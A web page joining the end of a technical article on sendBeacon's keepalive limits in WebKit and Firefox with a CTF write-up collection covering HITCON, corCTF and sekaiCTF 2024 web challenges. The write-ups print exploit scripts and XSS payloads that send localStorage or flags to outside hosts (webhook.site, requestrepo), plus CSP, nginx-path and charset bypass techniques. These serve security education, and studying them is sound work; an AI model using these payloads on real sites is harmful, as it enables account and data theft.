ExceptionOr<bool> NavigatorBeacon::sendBeacon(Document& document, const String& url, std::optional<FetchBody::Init>&& body){    URL parsedUrl = document.completeURL(url);    // Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if    // parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.    if (!parsedUrl.isValid())        return Exception { ExceptionCode::TypeError, "This URL is invalid"_s };    if (!parsedUrl.protocolIsInHTTPFamily())        return Exception { ExceptionCode::TypeError, "Beacons can only be sent over HTTP(S)"_s };    if (!document.frame())        return false;    if (!document.shouldBypassMainWorldContentSecurityPolicy() && !document.checkedContentSecurityPolicy()->allowConnectToSource(parsedUrl)) {        // We simulate a network error so we return true here. This is consistent with Blink.        return true;    }    ResourceRequest request(parsedUrl);    request.setHTTPMethod("POST"_s);    request.setRequester(ResourceRequestRequester::Beacon);    if (RefPtr documentLoader = document.loader())        request.setIsAppInitiated(documentLoader->lastNavigationWasAppInitiated());    ResourceLoaderOptions options;    options.credentials = FetchOptions::Credentials::Include;    options.cache = FetchOptions::Cache::NoCache;    options.keepAlive = true;    options.sendLoadCallbacks = SendCallbackPolicy::SendCallbacks;    if (body) {        options.mode = FetchOptions::Mode::NoCors;        String mimeType;        auto result = FetchBody::extract(WTFMove(body.value()), mimeType);        if (result.hasException())            return result.releaseException();        auto fetchBody = result.releaseReturnValue();        if (fetchBody.isReadableStream())            return Exception { ExceptionCode::TypeError, "Beacons cannot send ReadableStream body"_s };        request.setHTTPBody(fetchBody.bodyAsFormData());        if (!mimeType.isEmpty()) {            request.setHTTPContentType(mimeType);            if (!isCrossOriginSafeRequestHeader(HTTPHeaderName::ContentType, mimeType)) {                options.mode = FetchOptions::Mode::Cors;                options.httpHeadersToKeep.add(HTTPHeadersToKeepFromCleaning::ContentType);            }        }    }    auto cachedResource = document.protectedCachedResourceLoader()->requestBeaconResource({ WTFMove(request), options });    if (!cachedResource) {        logError(cachedResource.error());        return false;    }    ASSERT(!m_inflightBeacons.contains(cachedResource.value().get()));    m_inflightBeacons.append(cachedResource.value().get());    cachedResource.value()->addClient(*this);    return true;}

You can see that the entire process is quite similar to Chromium. It first checks the validity of the URL, then checks CSP, and then sends a keepalive request.

This echoes what we mentioned earlier and what is written in the specifications: the underlying sendBeacon is essentially a keepalive fetch. So where is the source code for when the keepalive queue size exceeds the limit?

From the implementation, it can be seen that if the queue size exceeds, it is likely that this segment is where the error occurs, because only here will it return false:

auto cachedResource = document.protectedCachedResourceLoader()->requestBeaconResource({ WTFMove(request), options });if (!cachedResource) {    logError(cachedResource.error());    return false;}

Therefore, we can trace down to requestBeaconResource. Additionally, we can also trace the source code from another direction.

Do you remember the example that sent a string of length 10000 eight times? In Chrome, you will only see the request become pending, but in Safari, a helpful message will appear:

Beacon API cannot load https://httpstat.us/200?log7. Reached maximum amount of queued data of 64Kb for keepalive requests

You can directly use this error message to find the relevant source code at WebKit/Source/WebCore/loader/cache/CachedResource.cpp:

if (    m_options.keepAlive && type() != Type::Ping &&    !cachedResourceLoader.keepaliveRequestTracker().tryRegisterRequest(*this)  ) {    setResourceError({      errorDomainWebKitInternal, 0, request.url(),      "Reached maximum amount of queued data of 64Kb for keepalive requests"_s,      ResourceError::Type::AccessControl    });    failBeforeStarting();    return;}

If it is a keepalive, and the type is not ping (the type of sendBeacon will be Type::Beacon), and there is no way to register a new request, then this error is returned.

Therefore, the key point is the method keepaliveRequestTracker().tryRegisterRequest, located in Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp:

const uint64_t maxInflightKeepaliveBytes { 65536 }; // 64 kibibytes as per Fetch specification.bool KeepaliveRequestTracker::tryRegisterRequest(CachedResource& resource){    ASSERT(resource.options().keepAlive);    auto body = resource.resourceRequest().httpBody();    if (!body)        return true;    uint64_t bodySize = body->lengthInBytes();    if (m_inflightKeepaliveBytes + bodySize > maxInflightKeepaliveBytes)        return false;    registerRequest(resource);    return true;}

It actually just counts how many are still waiting, and checks if adding them would exceed the maximum value of 65536. The operation is quite similar to the last PR from Sentry.

Firefox’s sendBeacon Implementation

In the previous Sentry PR, it was mentioned that Firefox does not support keepalive, corresponding to this ticket: [meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes, which is still open. From the discussion, it seems there has been progress since about half a year ago, and support officially started in Firefox version 133, released in November 2024. Although there are still some bugs, it should become more stable over time.

I tested a scenario with three browsers, sending out 10 strings of length 60,000:

<script>  for(let i=1; i<=10; i++) {    navigator.sendBeacon("https://httpstat.us/200?log"+i, 'A'.repeat(60000));  }</script>

Both Chrome and Safari only sent one request, but Firefox 133.0.3 kindly sent them all out, currently without a 64 KiB limit:

For those curious about the underlying implementation, the code is here: gecko-dev/dom/base/Navigator.cpp. It seems that keepalive has not been integrated yet, which is why the limit has not been triggered. In the future, it should follow the spec, using keepalive requests and adhering to the payload size limits.

Conclusion

Small features can have great significance. A seemingly simple sendBeacon is actually quite interesting upon deeper research. Understanding its limitations and solutions, as well as learning from Sentry’s patching process, and reviewing the browser’s source code, provides a better understanding of the underlying implementation.

In practice, if you are going to use sendBeacon, please remember to add error handling. When the return value is false, switch to a regular fetch or add a retry mechanism to enhance the stability of data transmission.

This article brings together writeups for three CTFs. Some I didn’t play myself; I just looked at others’ writeups and take a note of them.

Keyword list:

1. bfcache
2. response splitting
3. Service-Worker-Allowed
4. gunicorn script_name
5. socket.io disconnect
6. socket.io JSONP CSP bypass
7. performance API
8. streaming HTML parsing
9. content-type ISO-2022-JP

HITCON CTF 2024

Private Browsing+

This challenge is basically a proxy that proxies things under /~huli/ to other websites, and the response varies based on the header:

if (    req.headers['sec-fetch-mode'] &&    req.headers['sec-fetch-mode'] !== 'navigate' &&    req.headers['sec-fetch-site'] === 'same-origin') {    req.url = chunks.slice(2).join('/')    proxy.handler(req, res)} else {    res.writeHead(200, { ...DEFAULT_HEADERS, 'content-type': 'text/html' })    res.end(VIEWER_HTML.replace('SITEB64', btoa(proxy.site)))}

If it’s a navigation, it will return VIEWER_HTML, which will perform various sanitizations, so XSS is not possible.

The bypass method is to use bfcache. It appeared in SECCON CTF 2022 Quals - spanote. In simple terms, we first visit target.html, at which point the response will be VIEWER_HTML, and within VIEWER_HTML, fetch('target.html') will be executed to fetch the content, and at this time the response will be placed in the cache.

Next, we redirect the same tab to our own origin, then execute history.go(-1) to redirect the URL back to target.html. At this point, due to bfcache, it will load the HTML fetched by fetch('target.html'), bypassing the original restrictions and allowing any HTML to be loaded.

But the next issue is CSP: default-src 'self';, so scripts can only load from the same origin, but the proxy has restrictions:

if (    res.headers['content-type'].toLowerCase().includes('script') ||    req.headers['sec-fetch-dest'] === 'script') {    res.headers['content-length'] = '0'    delete res.headers['transfer-encoding']}

If the content type includes script, it directly sets the content-length to 0, so scripts cannot be loaded.

At this point, we need to use response splitting because the proxy will directly pipe the received response out, so we can construct the following flow:

1. The browser sends the first request, let’s call it request A.
2. In the response of request A, first output the expect: '100-continue' header, allowing the proxy server to output the header. At this point, for the browser, the first request has ended, and it has received the response.
3. The browser sends the second request B, reusing the same connection.
4. At this point, output the response of request B (but for the proxy, it is still the response of request A), bypassing the content type restriction because the proxy thinks this is response content.

In simple terms, it’s similar to request smuggling, but done in reverse.

There are two details here:

1. Through Chrome, there is a limit of 6 concurrent requests to the same domain, ensuring that two of the requests will use the same connection.
2. The Node.js server, upon receiving Expect: 100-continue, will flush first. This step is necessary to bypass Chrome’s restrictions.

Once JS can be loaded, we can use the same method to load the service worker and use the Service-Worker-Allowed: / header to expand the scope, allowing registration to the entire origin.

More details can be found in Maple’s writeup: https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B

corCTF 2024

web/corctf-challenge-dev - 17 solves

Author: drakon

A challenge related to Chrome extensions, but the author has already written it in detail, so I won’t elaborate: corCTF 2024 - corctf-challenge-dev

web/iframe-note - 2 solves

Author: sterllic

The core code of this challenge is the following segment:

<iframe id="iframe"></iframe><script src="{{ url_for('static', filename='axios.min.js') }}"></script><script src="{{ url_for('static', filename='can.min.js') }}"></script><script>  window.onload = () => {    if (["__proto__", "constructor", "prototype"].some(d => location.search.includes(d))) {      return;    }    const qs = can.deparam(location.search.slice(1));    if (!qs.id) {      alert("no id provided");      location.href = "/";    }    axios.get(`/iframe/${encodeURIComponent(qs.id)}`)    .then(res => {      if (res.data.error) {        alert("no iframe found with that id!");        return;      }      if (!res.data.url.toLowerCase().startsWith("http")) {        alert("invalid url");        return;      }      document.querySelector("#name").textContent = res.data.name;      document.querySelector("#iframe").src = res.data.url;      document.querySelector("#iframe").style = res.data.style;    });  }</script>

The backend uses Flask + gunicorn to render the above webpage.

There is a prototype pollution vulnerability in can.js, and even with checks in place, it can still be bypassed using URL encoding. However, the question is what can be done after the pollution occurs.

At first glance, the most suspicious part in the frontend is document.querySelector("#iframe").src = res.data.url, but here we need to control the server’s response. However, the server has checks in place, so data.url can only start with http.

The final solution is related to the behavior of axios, bfcache, and gunicorn. Gunicorn determines the final path based on the script_name in the header. According to the example given in Gunicorn’s handling of PATH_INFO and SCRIPT_NAME can lead to security issues when placed behind a proxy #2650:

requests.get(URL+'/REMOVED/admin/something/bad',             headers={'script_name':'REMOVED/'})

If there is an nginx in front that blocks all requests starting with /admin, we can send a request to /REMOVED/admin along with script_name as REMOVED/. Nginx will allow it, but when it reaches gunicorn, it will parse the path as /admin, directly bypassing the previous nginx check.

The part of this challenge that utilizes this behavior is:

<script src="{{ url_for('static', filename='axios.min.js') }}"></script>

If you execute curl https://iframe-note.be.ax////example.com/view -H "SCRIPT_NAME: //example.com", the final path will be /view, but the base URL will change, rendering the result as:

<script src="//example.com/static/axios.min.js"></script>

This allows direct control over the src on the page.

The author may have been too lazy to set up an instance to host the payload, so they directly used a data URI, turning the script into <script src="data:text/javascript,{XSS}">.

To achieve this result, headers need to be sent in the request, so bfcache is utilized. The process is:

1. First visit the final required URL.
2. Redirect to the view page, using prototype pollution to send a request with headers via fetch.
3. Go back to the previous page; at this point, due to bfcache, the response from the previous fetch will be reused, which is the version with headers.
4. XSS

The author’s exploit:

<body>  <script>    // const BASE_URL = "http://localhost:3000";    const BASE_URL = "https://iframe-note.be.ax";    const HOOK_URL = "https://webhook.site/xxxxx";    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));    const main = async () => {      const dataUrl = `data:text/javascript,navigator.sendBeacon('${HOOK_URL}',JSON.stringify(localStorage))`;      const win = open(`${BASE_URL}/${dataUrl}/iframe/view`);      await sleep(1000);      win.location = `${BASE_URL}/view?id=view&__%70roto__[headers][SCRIPT_NAME]=${dataUrl}/iframe&__%70roto__[baseURL]=/${dataUrl}/`;      await sleep(1000);      win.location = `${location.origin}/back.html?n=2`;    };    main();  </script></body>

<script>  const n = parseInt(new URLSearchParams(location.search).get("n"));  history.go(-n);</script>

corchat x - 1 solve

Author: larry

A challenge related to socket.io, with three main points:

1. Can send a disconnect event but no actual disconnect occurs.
2. socket.io’s JSONP can be used to bypass CSP.
3. Use the performance API to list previously loaded resources.

Below is the exploit posted by EhhThing in Discord:

import socketioimport requestsimport timeimport jsonbase_url = 'https://corchat-x-a6e1f8c45d3ca520.be.ax'def create_sid():    session = requests.Session()    login = session.post(f'{base_url}/', data = {}, allow_redirects=False)    assert login.status_code == 302, login.status_code    res = session.get(f'{base_url}/socket.io/', params = {        'EIO': 4,        'transport': 'polling',        't': 'bingus',    })    assert res.status_code == 200, res.status_code    socket_session = json.loads(res.text[1:])    print('fake session', socket_session)    res = session.post(f'{base_url}/socket.io/', params = {        'EIO': 4,        'transport': 'polling',        't': 'P3qHGUZ',        'sid': socket_session['sid'],    }, data = b'40')    assert res.status_code == 200, res.status_code    return socket_session['sid']bot_session = requests.Session()login = bot_session.post(f'{base_url}/', data = {    'name': 'FizzBuzz101',}, allow_redirects=False)assert login.status_code == 302, login.status_codesio = socketio.Client(http_session=bot_session)ready = False@sio.eventdef connect():    global ready    print('connected!')    # fake disconnect event so that the bot can connect as well    sio.emit('disconnect')    time.sleep(1)    ready = True    print('ready for bot!')@sio.eventdef message(data):    global ready    if not ready:        return    print('message', data)    if data['content'] == 'FizzBuzz101 joined.': # XSS bot opened the chat        first_sid = create_sid()        js_payload = """(window.exfil = data => window.top.opener.top.socket.emit('message', data))(window.observer = new parent.PerformanceObserver((list) => { list.getEntries().forEach((entry) => { window.exfil('Flag: ' + decodeURIComponent(entry.name.split('/').pop())); }); }))(window.observer.observe({ type: 'resource', buffered: true }))""".strip().replace('\n', ',')        sio.emit('message', '\\"+'+js_payload+');//')        second_sid = create_sid()        jsonp_url = f'{base_url}/socket.io/?EIO=4&transport=polling&t=bingus&sid={second_sid}&j=0'        js_payload = """(window.secret=window.open('','secret'))(window.a=window.top.document.getElementById('xss').cloneNode())(window.a.srcdoc=window.a.srcdoc.replace('%s','%s'))(window.secret.document.body.appendChild(window.a))""".strip().replace('\n', ',') % (second_sid, first_sid)        sio.emit('message', '\\"+'+js_payload+');//')        xss_payload = """<a id=&quot;___eio&quot;></a><a id=&quot;___eio&quot;></a><script src=&quot;%s&quot;></script>""" % jsonp_url        chat_message = '<iframe id="xss" srcdoc="%s"></iframe>' % xss_payload.strip()        assert len(chat_message) < 400, 'chat message too long, time to write better payload'        sio.emit('message', chat_message)sio.connect(base_url)sio.wait()

web/repayment-pal - 0 solves

Author: strellic

A question related to Next.js, which no one solved during the competition, and no solution was announced afterward.

Below are the hints that were released:

1. +24 hour hint drop: hm, why is dev mode enabled?
2. +36 hour hint drop: try to find a way to get html injection!
3. Post-CTF hint drop: An earlier version of the challenge had an extra check in the middleware, requiring all API requests to have the header Sec-Fetch-Dest: empty

sekaiCTF 2024

htmlsandbox (4 solves)

Author: arxenix

Challenge link: https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox

This challenge allows you to upload HTML, but blocks everything it can, and checks if there is: <meta http-equiv="Content-Security-Policy" content="default-src 'none'"> in the head to ensure that JavaScript code cannot be executed.

The solution is that during the check, the HTML is transformed into data:text/html for validation, but when accessed, it is treated as a regular webpage, and the parsing rules for these two are different. When the file is large, the former parses everything at once, while the latter does it chunk by chunk, and each chunk can have different encoding.

Details can be found in the author’s writeup: SekaiCTF’24 htmlsandbox - Author Writeup or in this article 0xalessandro’s writeup, where the final exploit looks like this:

import requests#0xAlessandro was herec1 = b'''<html><head>    <!-- \x1b$@ aa -->''' + b'''<meta http-equiv="Content-Security-Policy" content="default-src 'none'">\x1b(B <!-- test -->''' + b"\x1b(B<!-- " + b"A"*64000 + b"-->"+ b"<!--"+b"A"*100+b"-->"c2 = b'''    <meta charset="utf-8">    </head>    <body>    <svg><animate onbegin="fetch(`https://s9cs3dwb.requestrepo.com?c=${localStorage.getItem('flag')}`)" attributeName="x" dur="1s">    </body></html>'''html = c1 + c2with open('test.html', "wb") as f:   f.write(html)r = requests.post('https://htmlsandbox.chals.sekai.team/upload', data={'html': html})print(r.text)

When using a data URI, the entire HTML is parsed as utf-8 without any issues.

However, when accessed as a webpage, it is divided into two chunks, and since <meta charset="utf-8"> appears in the second chunk, the first chunk is parsed using JIS X 0208 1983, causing the CSP to turn into a bunch of garbled characters, which gets removed.

When the second chunk is read and the meta is encountered, it switches to UTF-8 and loads as usual, thus bypassing the CSP and achieving XSS.

The details of this encoding exploit can be referenced here: Encoding Differentials: Why Charset Matters.